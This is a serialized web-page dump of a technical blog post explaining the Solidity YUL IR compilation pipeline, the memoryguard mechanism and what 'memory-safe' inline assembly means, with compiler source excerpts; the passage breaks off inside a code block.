[{"data":1,"prerenderedAt":164025},["ShallowReactive",2],{"blog-/blog/2023-07-28-solidity-compilers-memory-safety":3,"featured-blog-posts":1528},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":11,"date":14,"isFeatured":15,"onBlogPage":15,"tags":16,"body":19,"_type":1522,"_id":1523,"_source":1524,"_file":1525,"_stem":1526,"_extension":1527},"/blog/2023-07-28-solidity-compilers-memory-safety","blog",false,"","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.","robert",{"src":12,"height":13,"width":13},"/posts/solidity-compilers-memory-safety/header.jpg",1024,"2023-07-28",true,[17,18],"solidity","compiler",{"type":20,"children":21,"toc":1513},"root",[22,31,74,86,92,115,130,300,323,328,349,354,363,368,373,378,384,404,409,430,499,513,544,564,591,596,609,614,619,632,663,689,855,873,924,943,968,973,979,1006,1026,1055,1060,1082,1102,1110,1121,1126,1142,1405,1413,1418,1424,1429,1434,1507],{"type":23,"tag":24,"props":25,"children":27},"element","h2",{"id":26},"introduction",[28],{"type":29,"value":30},"text","Introduction",{"type":23,"tag":32,"props":33,"children":34},"p",{},[35,37,44,46,52,54,63,65,72],{"type":29,"value":36},"What does ",{"type":23,"tag":38,"props":39,"children":41},"code",{"className":40},[],[42],{"type":29,"value":43},"memory-safe",{"type":29,"value":45}," ",{"type":23,"tag":47,"props":48,"children":49},"em",{},[50],{"type":29,"value":51},"actually",{"type":29,"value":53}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":23,"tag":55,"props":56,"children":60},"a",{"href":57,"rel":58},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[59],"nofollow",[61],{"type":29,"value":62},"presents some requirements",{"type":29,"value":64},", but is production code that ",{"type":23,"tag":55,"props":66,"children":69},{"href":67,"rel":68},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[59],[70],{"type":29,"value":71},"violates these requirements",{"type":29,"value":73}," necessarily unsafe?",{"type":23,"tag":32,"props":75,"children":76},{},[77,79,84],{"type":29,"value":78},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":23,"tag":47,"props":80,"children":81},{},[82],{"type":29,"value":83},"memory-safety",{"type":29,"value":85}," actually means.",{"type":23,"tag":24,"props":87,"children":89},{"id":88},"compiler-pipeline",[90],{"type":29,"value":91},"Compiler Pipeline",{"type":23,"tag":32,"props":93,"children":94},{},[95,97,104,106,113],{"type":29,"value":96},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":23,"tag":55,"props":98,"children":101},{"href":99,"rel":100},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[59],[102],{"type":29,"value":103},"released in v0.8.13",{"type":29,"value":105},". Compilation happens ",{"type":23,"tag":55,"props":107,"children":110},{"href":108,"rel":109},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[59],[111],{"type":29,"value":112},"in two main steps",{"type":29,"value":114},":",{"type":23,"tag":116,"props":117,"children":118},"ol",{},[119,125],{"type":23,"tag":120,"props":121,"children":122},"li",{},[123],{"type":29,"value":124},"Solidity to YUL IR",{"type":23,"tag":120,"props":126,"children":127},{},[128],{"type":29,"value":129},"YUL IR to EVM opcodes",{"type":23,"tag":131,"props":132,"children":136},"pre",{"className":133,"code":134,"language":135,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark"," if (m_viaIR || m_generateIR || m_generateEwasm)\n generateIR(*contract);\n if (m_generateEvmBytecode)\n {\n if (m_viaIR)\n generateEVMFromIR(*contract);\n else\n compileContract(*contract, otherCompilers);\n }\n","cpp",[137],{"type":23,"tag":38,"props":138,"children":139},{"__ignoreMap":7},[140,178,203,216,225,239,260,269,291],{"type":23,"tag":141,"props":142,"children":145},"span",{"class":143,"line":144},"line",1,[146,152,158,164,169,173],{"type":23,"tag":141,"props":147,"children":149},{"style":148},"--shiki-default:#C586C0",[150],{"type":29,"value":151}," if",{"type":23,"tag":141,"props":153,"children":155},{"style":154},"--shiki-default:#E6E6E6",[156],{"type":29,"value":157}," (m_viaIR ",{"type":23,"tag":141,"props":159,"children":161},{"style":160},"--shiki-default:#D4D4D4",[162],{"type":29,"value":163},"||",{"type":23,"tag":141,"props":165,"children":166},{"style":154},[167],{"type":29,"value":168}," m_generateIR ",{"type":23,"tag":141,"props":170,"children":171},{"style":160},[172],{"type":29,"value":163},{"type":23,"tag":141,"props":174,"children":175},{"style":154},[176],{"type":29,"value":177}," m_generateEwasm)\n",{"type":23,"tag":141,"props":179,"children":181},{"class":143,"line":180},2,[182,188,193,198],{"type":23,"tag":141,"props":183,"children":185},{"style":184},"--shiki-default:#DCDCAA",[186],{"type":29,"value":187}," generateIR",{"type":23,"tag":141,"props":189,"children":190},{"style":154},[191],{"type":29,"value":192},"(",{"type":23,"tag":141,"props":194,"children":195},{"style":160},[196],{"type":29,"value":197},"*",{"type":23,"tag":141,"props":199,"children":200},{"style":154},[201],{"type":29,"value":202},"contract);\n",{"type":23,"tag":141,"props":204,"children":206},{"class":143,"line":205},3,[207,211],{"type":23,"tag":141,"props":208,"children":209},{"style":148},[210],{"type":29,"value":151},{"type":23,"tag":141,"props":212,"children":213},{"style":154},[214],{"type":29,"value":215}," (m_generateEvmBytecode)\n",{"type":23,"tag":141,"props":217,"children":219},{"class":143,"line":218},4,[220],{"type":23,"tag":141,"props":221,"children":222},{"style":154},[223],{"type":29,"value":224}," {\n",{"type":23,"tag":141,"props":226,"children":228},{"class":143,"line":227},5,[229,234],{"type":23,"tag":141,"props":230,"children":231},{"style":148},[232],{"type":29,"value":233}," if",{"type":23,"tag":141,"props":235,"children":236},{"style":154},[237],{"type":29,"value":238}," (m_viaIR)\n",{"type":23,"tag":141,"props":240,"children":242},{"class":143,"line":241},6,[243,248,252,256],{"type":23,"tag":141,"props":244,"children":245},{"style":184},[246],{"type":29,"value":247}," generateEVMFromIR",{"type":23,"tag":141,"props":249,"children":250},{"style":154},[251],{"type":29,"value":192},{"type":23,"tag":141,"props":253,"children":254},{"style":160},[255],{"type":29,"value":197},{"type":23,"tag":141,"props":257,"children":258},{"style":154},[259],{"type":29,"value":202},{"type":23,"tag":141,"props":261,"children":263},{"class":143,"line":262},7,[264],{"type":23,"tag":141,"props":265,"children":266},{"style":148},[267],{"type":29,"value":268}," else\n",{"type":23,"tag":141,"props":270,"children":272},{"class":143,"line":271},8,[273,278,282,286],{"type":23,"tag":141,"props":274,"children":275},{"style":184},[276],{"type":29,"value":277}," compileContract",{"type":23,"tag":141,"props":279,"children":280},{"style":154},[281],{"type":29,"value":192},{"type":23,"tag":141,"props":283,"children":284},{"style":160},[285],{"type":29,"value":197},{"type":23,"tag":141,"props":287,"children":288},{"style":154},[289],{"type":29,"value":290},"contract, otherCompilers);\n",{"type":23,"tag":141,"props":292,"children":294},{"class":143,"line":293},9,[295],{"type":23,"tag":141,"props":296,"children":297},{"style":154},[298],{"type":29,"value":299}," }\n",{"type":23,"tag":32,"props":301,"children":302},{},[303,305,312,314,321],{"type":29,"value":304},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":23,"tag":55,"props":306,"children":309},{"href":307,"rel":308},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[59],[310],{"type":29,"value":311},"YulStack::optimize",{"type":29,"value":313}," and ",{"type":23,"tag":55,"props":315,"children":318},{"href":316,"rel":317},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[59],[319],{"type":29,"value":320},"Assembly::optimize",{"type":29,"value":322},".",{"type":23,"tag":32,"props":324,"children":325},{},[326],{"type":29,"value":327},"In total, there are four steps.",{"type":23,"tag":116,"props":329,"children":330},{},[331,335,340,344],{"type":23,"tag":120,"props":332,"children":333},{},[334],{"type":29,"value":124},{"type":23,"tag":120,"props":336,"children":337},{},[338],{"type":29,"value":339},"Optimization of YUL IR",{"type":23,"tag":120,"props":341,"children":342},{},[343],{"type":29,"value":129},{"type":23,"tag":120,"props":345,"children":346},{},[347],{"type":29,"value":348},"Optimization of EVM opcodes",{"type":23,"tag":32,"props":350,"children":351},{},[352],{"type":29,"value":353},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":23,"tag":355,"props":356,"children":357},"blockquote",{},[358],{"type":23,"tag":32,"props":359,"children":360},{},[361],{"type":29,"value":362},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":23,"tag":32,"props":364,"children":365},{},[366],{"type":29,"value":367},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":23,"tag":32,"props":369,"children":370},{},[371],{"type":29,"value":372},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":23,"tag":32,"props":374,"children":375},{},[376],{"type":29,"value":377},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":23,"tag":24,"props":379,"children":381},{"id":380},"guarantees",[382],{"type":29,"value":383},"Guarantees",{"type":23,"tag":32,"props":385,"children":386},{},[387,389,396,398,403],{"type":29,"value":388},"The ",{"type":23,"tag":55,"props":390,"children":393},{"href":391,"rel":392},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[59],[394],{"type":29,"value":395},"Solidity memory layout",{"type":29,"value":397}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":23,"tag":47,"props":399,"children":400},{},[401],{"type":29,"value":402},"no information about this layout",{"type":29,"value":322},{"type":23,"tag":32,"props":405,"children":406},{},[407],{"type":29,"value":408},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":23,"tag":32,"props":410,"children":411},{},[412,414,420,422,428],{"type":29,"value":413},"Introducing ",{"type":23,"tag":38,"props":415,"children":417},{"className":416},[],[418],{"type":29,"value":419},"memoryguard",{"type":29,"value":421},". If you've ever looked at the output of ",{"type":23,"tag":38,"props":423,"children":425},{"className":424},[],[426],{"type":29,"value":427},"solc --ir",{"type":29,"value":429},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":23,"tag":131,"props":431,"children":434},{"className":432,"code":433,"language":17,"meta":7,"style":7},"language-solidity shiki shiki-themes slack-dark"," /// @src 0:26:371 \"contract XXX {...\"\n store(64, memoryguard(0x80))\n",[435],{"type":23,"tag":38,"props":436,"children":437},{"__ignoreMap":7},[438,458],{"type":23,"tag":141,"props":439,"children":440},{"class":143,"line":144},[441,447,453],{"type":23,"tag":141,"props":442,"children":444},{"style":443},"--shiki-default:#6A9955",[445],{"type":29,"value":446}," /// @src 0:26:371 \"contract ",{"type":23,"tag":141,"props":448,"children":450},{"style":449},"--shiki-default:#569CD6",[451],{"type":29,"value":452},"XXX",{"type":23,"tag":141,"props":454,"children":455},{"style":443},[456],{"type":29,"value":457}," {...\"\n",{"type":23,"tag":141,"props":459,"children":460},{"class":143,"line":180},[461,466,470,476,481,485,489,494],{"type":23,"tag":141,"props":462,"children":463},{"style":184},[464],{"type":29,"value":465}," store",{"type":23,"tag":141,"props":467,"children":468},{"style":154},[469],{"type":29,"value":192},{"type":23,"tag":141,"props":471,"children":473},{"style":472},"--shiki-default:#B5CEA8",[474],{"type":29,"value":475},"64",{"type":23,"tag":141,"props":477,"children":478},{"style":154},[479],{"type":29,"value":480},", ",{"type":23,"tag":141,"props":482,"children":483},{"style":184},[484],{"type":29,"value":419},{"type":23,"tag":141,"props":486,"children":487},{"style":154},[488],{"type":29,"value":192},{"type":23,"tag":141,"props":490,"children":491},{"style":472},[492],{"type":29,"value":493},"0x80",{"type":23,"tag":141,"props":495,"children":496},{"style":154},[497],{"type":29,"value":498},"))\n",{"type":23,"tag":32,"props":500,"children":501},{},[502,504,511],{"type":29,"value":503},"From ",{"type":23,"tag":55,"props":505,"children":508},{"href":506,"rel":507},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[59],[509],{"type":29,"value":510},"the documentation",{"type":29,"value":512},",",{"type":23,"tag":355,"props":514,"children":515},{},[516],{"type":23,"tag":32,"props":517,"children":518},{},[519,521,527,529,535,537,543],{"type":29,"value":520},"The caller of ",{"type":23,"tag":38,"props":522,"children":524},{"className":523},[],[525],{"type":29,"value":526},"let ptr := memoryguard(size)",{"type":29,"value":528}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":23,"tag":38,"props":530,"children":532},{"className":531},[],[533],{"type":29,"value":534},"[0, size)",{"type":29,"value":536}," or the unbounded range starting at ",{"type":23,"tag":38,"props":538,"children":540},{"className":539},[],[541],{"type":29,"value":542},"ptr",{"type":29,"value":322},{"type":23,"tag":32,"props":545,"children":546},{},[547,549,554,556,562],{"type":29,"value":548},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":23,"tag":38,"props":550,"children":552},{"className":551},[],[553],{"type":29,"value":419},{"type":29,"value":555}," return ",{"type":23,"tag":38,"props":557,"children":559},{"className":558},[],[560],{"type":29,"value":561},"size + 32",{"type":29,"value":563},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":23,"tag":32,"props":565,"children":566},{},[567,569,576,578,583,585,590],{"type":29,"value":568},"An example of this optimization in practice ",{"type":23,"tag":55,"props":570,"children":573},{"href":571,"rel":572},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[59],[574],{"type":29,"value":575},"is the StackLimitEvader",{"type":29,"value":577},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":23,"tag":47,"props":579,"children":580},{},[581],{"type":29,"value":582},"only",{"type":29,"value":584}," optimization pass that relies on the semantic information communicated by ",{"type":23,"tag":38,"props":586,"children":588},{"className":587},[],[589],{"type":29,"value":419},{"type":29,"value":322},{"type":23,"tag":32,"props":592,"children":593},{},[594],{"type":29,"value":595},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":23,"tag":32,"props":597,"children":598},{},[599,601,607],{"type":29,"value":600},"Fear not, for we can remove this pointer entirely and call ",{"type":23,"tag":38,"props":602,"children":604},{"className":603},[],[605],{"type":29,"value":606},"memoryguard(0x60)",{"type":29,"value":608}," instead. The rest of the pipeline will still work.",{"type":23,"tag":24,"props":610,"children":611},{"id":83},[612],{"type":29,"value":613},"Memory Safety",{"type":23,"tag":32,"props":615,"children":616},{},[617],{"type":29,"value":618},"So what does memory safety mean?",{"type":23,"tag":32,"props":620,"children":621},{},[622,624,630],{"type":29,"value":623},"The Solidity documentation provides ",{"type":23,"tag":55,"props":625,"children":627},{"href":57,"rel":626},[59],[628],{"type":29,"value":629},"a set of constraints",{"type":29,"value":631},", not a definition.",{"type":23,"tag":355,"props":633,"children":634},{},[635,640],{"type":23,"tag":32,"props":636,"children":637},{},[638],{"type":29,"value":639},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":23,"tag":116,"props":641,"children":642},{},[643,648,653,658],{"type":23,"tag":120,"props":644,"children":645},{},[646],{"type":29,"value":647},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":23,"tag":120,"props":649,"children":650},{},[651],{"type":29,"value":652},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":23,"tag":120,"props":654,"children":655},{},[656],{"type":29,"value":657},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":23,"tag":120,"props":659,"children":660},{},[661],{"type":29,"value":662},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":23,"tag":32,"props":664,"children":665},{},[666,668,675,688],{"type":29,"value":667},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":23,"tag":55,"props":669,"children":672},{"href":670,"rel":671},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[59],[673],{"type":29,"value":674},"removes the memory guard",{"type":23,"tag":676,"props":677,"children":678},"sup",{},[679],{"type":23,"tag":55,"props":680,"children":685},{"href":681,"ariaDescribedBy":682,"dataFootnoteRef":7,"id":684},"#user-content-fn-1",[683],"footnote-label","user-content-fnref-1",[686],{"type":29,"value":687},"1",{"type":29,"value":322},{"type":23,"tag":131,"props":690,"children":692},{"className":133,"code":691,"language":135,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n Whiskers{\n _useMemoryGuard ?\n \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n }\n",[693],{"type":23,"tag":38,"props":694,"children":695},{"__ignoreMap":7},[696,704,712,720,759,767,775,783,791,799,808,822,837,846],{"type":23,"tag":141,"props":697,"children":698},{"class":143,"line":144},[699],{"type":23,"tag":141,"props":700,"children":701},{"style":443},[702],{"type":29,"value":703},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":23,"tag":141,"props":705,"children":706},{"class":143,"line":180},[707],{"type":23,"tag":141,"props":708,"children":709},{"style":443},[710],{"type":29,"value":711},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":23,"tag":141,"props":713,"children":714},{"class":143,"line":205},[715],{"type":23,"tag":141,"props":716,"children":717},{"emptyLinePlaceholder":15},[718],{"type":29,"value":719},"\n",{"type":23,"tag":141,"props":721,"children":722},{"class":143,"line":218},[723,729,734,739,743,748,754],{"type":23,"tag":141,"props":724,"children":726},{"style":725},"--shiki-default:#4EC9B0",[727],{"type":29,"value":728},"string",{"type":23,"tag":141,"props":730,"children":731},{"style":154},[732],{"type":29,"value":733}," IRGenerator::",{"type":23,"tag":141,"props":735,"children":736},{"style":184},[737],{"type":29,"value":738},"memoryInit",{"type":23,"tag":141,"props":740,"children":741},{"style":154},[742],{"type":29,"value":192},{"type":23,"tag":141,"props":744,"children":745},{"style":449},[746],{"type":29,"value":747},"bool",{"type":23,"tag":141,"props":749,"children":751},{"style":750},"--shiki-default:#9CDCFE",[752],{"type":29,"value":753}," _useMemoryGuard",{"type":23,"tag":141,"props":755,"children":756},{"style":154},[757],{"type":29,"value":758},")\n",{"type":23,"tag":141,"props":760,"children":761},{"class":143,"line":227},[762],{"type":23,"tag":141,"props":763,"children":764},{"style":154},[765],{"type":29,"value":766},"{\n",{"type":23,"tag":141,"props":768,"children":769},{"class":143,"line":241},[770],{"type":23,"tag":141,"props":771,"children":772},{"style":443},[773],{"type":29,"value":774}," // This function should be called at the beginning of the EVM call frame\n",{"type":23,"tag":141,"props":776,"children":777},{"class":143,"line":262},[778],{"type":23,"tag":141,"props":779,"children":780},{"style":443},[781],{"type":29,"value":782}," // and thus can assume all memory to be zero, including the contents of\n",{"type":23,"tag":141,"props":784,"children":785},{"class":143,"line":271},[786],{"type":23,"tag":141,"props":787,"children":788},{"style":443},[789],{"type":29,"value":790}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":23,"tag":141,"props":792,"children":793},{"class":143,"line":293},[794],{"type":23,"tag":141,"props":795,"children":796},{"style":148},[797],{"type":29,"value":798}," return\n",{"type":23,"tag":141,"props":800,"children":802},{"class":143,"line":801},10,[803],{"type":23,"tag":141,"props":804,"children":805},{"style":154},[806],{"type":29,"value":807}," Whiskers{\n",{"type":23,"tag":141,"props":809,"children":811},{"class":143,"line":810},11,[812,817],{"type":23,"tag":141,"props":813,"children":814},{"style":154},[815],{"type":29,"value":816}," _useMemoryGuard ",{"type":23,"tag":141,"props":818,"children":819},{"style":160},[820],{"type":29,"value":821},"?\n",{"type":23,"tag":141,"props":823,"children":825},{"class":143,"line":824},12,[826,832],{"type":23,"tag":141,"props":827,"children":829},{"style":828},"--shiki-default:#CE9178",[830],{"type":29,"value":831}," \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":23,"tag":141,"props":833,"children":834},{"style":160},[835],{"type":29,"value":836}," :\n",{"type":23,"tag":141,"props":838,"children":840},{"class":143,"line":839},13,[841],{"type":23,"tag":141,"props":842,"children":843},{"style":828},[844],{"type":29,"value":845}," \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":23,"tag":141,"props":847,"children":849},{"class":143,"line":848},14,[850],{"type":23,"tag":141,"props":851,"children":852},{"style":154},[853],{"type":29,"value":854}," }\n",{"type":23,"tag":32,"props":856,"children":857},{},[858,863,865,871],{"type":23,"tag":38,"props":859,"children":861},{"className":860},[],[862],{"type":29,"value":427},{"type":29,"value":864}," will now no longer have ",{"type":23,"tag":38,"props":866,"children":868},{"className":867},[],[869],{"type":29,"value":870},"memoryguard(0x80)",{"type":29,"value":872}," as expected.",{"type":23,"tag":131,"props":874,"children":876},{"className":432,"code":875,"language":17,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n mstore(64, 128)\n",[877],{"type":23,"tag":38,"props":878,"children":879},{"__ignoreMap":7},[880,895],{"type":23,"tag":141,"props":881,"children":882},{"class":143,"line":144},[883,887,891],{"type":23,"tag":141,"props":884,"children":885},{"style":443},[886],{"type":29,"value":446},{"type":23,"tag":141,"props":888,"children":889},{"style":449},[890],{"type":29,"value":452},{"type":23,"tag":141,"props":892,"children":893},{"style":443},[894],{"type":29,"value":457},{"type":23,"tag":141,"props":896,"children":897},{"class":143,"line":180},[898,903,907,911,915,920],{"type":23,"tag":141,"props":899,"children":900},{"style":184},[901],{"type":29,"value":902}," mstore",{"type":23,"tag":141,"props":904,"children":905},{"style":154},[906],{"type":29,"value":192},{"type":23,"tag":141,"props":908,"children":909},{"style":472},[910],{"type":29,"value":475},{"type":23,"tag":141,"props":912,"children":913},{"style":154},[914],{"type":29,"value":480},{"type":23,"tag":141,"props":916,"children":917},{"style":472},[918],{"type":29,"value":919},"128",{"type":23,"tag":141,"props":921,"children":922},{"style":154},[923],{"type":29,"value":758},{"type":23,"tag":32,"props":925,"children":926},{},[927,929,934,936,941],{"type":29,"value":928},"Semantically, the absence of ",{"type":23,"tag":38,"props":930,"children":932},{"className":931},[],[933],{"type":29,"value":419},{"type":29,"value":935}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":23,"tag":38,"props":937,"children":939},{"className":938},[],[940],{"type":29,"value":419},{"type":29,"value":942}," invariant.",{"type":23,"tag":355,"props":944,"children":945},{},[946],{"type":23,"tag":32,"props":947,"children":948},{},[949,950,955,956,961,962,967],{"type":29,"value":520},{"type":23,"tag":38,"props":951,"children":953},{"className":952},[],[954],{"type":29,"value":526},{"type":29,"value":528},{"type":23,"tag":38,"props":957,"children":959},{"className":958},[],[960],{"type":29,"value":534},{"type":29,"value":536},{"type":23,"tag":38,"props":963,"children":965},{"className":964},[],[966],{"type":29,"value":542},{"type":29,"value":322},{"type":23,"tag":32,"props":969,"children":970},{},[971],{"type":29,"value":972},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":23,"tag":24,"props":974,"children":976},{"id":975},"undefined-behavior",[977],{"type":29,"value":978},"Undefined Behavior",{"type":23,"tag":32,"props":980,"children":981},{},[982,984,989,991,996,998,1004],{"type":29,"value":983},"How strict is memory safety? When it comes to ",{"type":23,"tag":38,"props":985,"children":987},{"className":986},[],[988],{"type":29,"value":419},{"type":29,"value":990},", only touching memory after 0x80 seems to matter. Is ",{"type":23,"tag":38,"props":992,"children":994},{"className":993},[],[995],{"type":29,"value":43},{"type":29,"value":997}," annotated assembly that touches memory at ",{"type":23,"tag":38,"props":999,"children":1001},{"className":1000},[],[1002],{"type":29,"value":1003},"[0x40, 0x7f]",{"type":29,"value":1005}," really safe?",{"type":23,"tag":32,"props":1007,"children":1008},{},[1009,1010,1017,1019,1024],{"type":29,"value":388},{"type":23,"tag":55,"props":1011,"children":1014},{"href":1012,"rel":1013},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[59],[1015],{"type":29,"value":1016},"Solidity documentation",{"type":29,"value":1018}," mentions ",{"type":23,"tag":47,"props":1020,"children":1021},{},[1022],{"type":29,"value":1023},"undefined behavior",{"type":29,"value":1025}," three times.",{"type":23,"tag":116,"props":1027,"children":1028},{},[1029,1034,1050],{"type":23,"tag":120,"props":1030,"children":1031},{},[1032],{"type":29,"value":1033},"The existence of a dangling reference",{"type":23,"tag":120,"props":1035,"children":1036},{},[1037,1039],{"type":29,"value":1038},"Using verbatim improperly",{"type":23,"tag":676,"props":1040,"children":1041},{},[1042],{"type":23,"tag":55,"props":1043,"children":1047},{"href":1044,"ariaDescribedBy":1045,"dataFootnoteRef":7,"id":1046},"#user-content-fn-2",[683],"user-content-fnref-2",[1048],{"type":29,"value":1049},"2",{"type":23,"tag":120,"props":1051,"children":1052},{},[1053],{"type":29,"value":1054},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":23,"tag":32,"props":1056,"children":1057},{},[1058],{"type":29,"value":1059},"Why does this matter?",{"type":23,"tag":32,"props":1061,"children":1062},{},[1063,1065,1072,1074,1081],{"type":29,"value":1064},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":23,"tag":55,"props":1066,"children":1069},{"href":1067,"rel":1068},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[59],[1070],{"type":29,"value":1071},"signed integer overflow is undefined",{"type":29,"value":1073},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":23,"tag":55,"props":1075,"children":1078},{"href":1076,"rel":1077},"https://blog.regehr.org/archives/1307",[59],[1079],{"type":29,"value":1080},"years down the line",{"type":29,"value":322},{"type":23,"tag":32,"props":1083,"children":1084},{},[1085,1087,1094,1096,1101],{"type":29,"value":1086},"Going back to Solidity, the specification makes ",{"type":23,"tag":55,"props":1088,"children":1091},{"href":1089,"rel":1090},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[59],[1092],{"type":29,"value":1093},"it unambiguously clear",{"type":29,"value":1095},". ",{"type":23,"tag":47,"props":1097,"children":1098},{},[1099],{"type":29,"value":1100},"Thou shalt not modify the zero slot",{"type":29,"value":322},{"type":23,"tag":355,"props":1103,"children":1104},{},[1105],{"type":23,"tag":32,"props":1106,"children":1107},{},[1108],{"type":29,"value":1109},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":23,"tag":32,"props":1111,"children":1112},{},[1113,1115,1120],{"type":29,"value":1114},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":23,"tag":47,"props":1116,"children":1117},{},[1118],{"type":29,"value":1119},"in Solidity",{"type":29,"value":322},{"type":23,"tag":32,"props":1122,"children":1123},{},[1124],{"type":29,"value":1125},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":23,"tag":116,"props":1127,"children":1128},{},[1129],{"type":23,"tag":120,"props":1130,"children":1131},{},[1132,1134,1141],{"type":29,"value":1133},"It very clearly ",{"type":23,"tag":55,"props":1135,"children":1138},{"href":1136,"rel":1137},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[59],[1139],{"type":29,"value":1140},"holds true today",{"type":29,"value":322},{"type":23,"tag":131,"props":1143,"children":1145},{"className":133,"code":1144,"language":135,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n setLocation(_inlineAsm);\n if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n m_context.setMemoryUnsafeInlineAssemblySeen();\n CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[1146],{"type":23,"tag":38,"props":1147,"children":1148},{"__ignoreMap":7},[1149,1189,1196,1209,1284,1306,1358,1365],{"type":23,"tag":141,"props":1150,"children":1151},{"class":143,"line":144},[1152,1156,1161,1166,1170,1175,1180,1185],{"type":23,"tag":141,"props":1153,"children":1154},{"style":449},[1155],{"type":29,"value":747},{"type":23,"tag":141,"props":1157,"children":1158},{"style":154},[1159],{"type":29,"value":1160}," IRGeneratorForStatements::",{"type":23,"tag":141,"props":1162,"children":1163},{"style":184},[1164],{"type":29,"value":1165},"visit",{"type":23,"tag":141,"props":1167,"children":1168},{"style":154},[1169],{"type":29,"value":192},{"type":23,"tag":141,"props":1171,"children":1172},{"style":725},[1173],{"type":29,"value":1174},"InlineAssembly",{"type":23,"tag":141,"props":1176,"children":1177},{"style":449},[1178],{"type":29,"value":1179}," const&",{"type":23,"tag":141,"props":1181,"children":1182},{"style":750},[1183],{"type":29,"value":1184}," 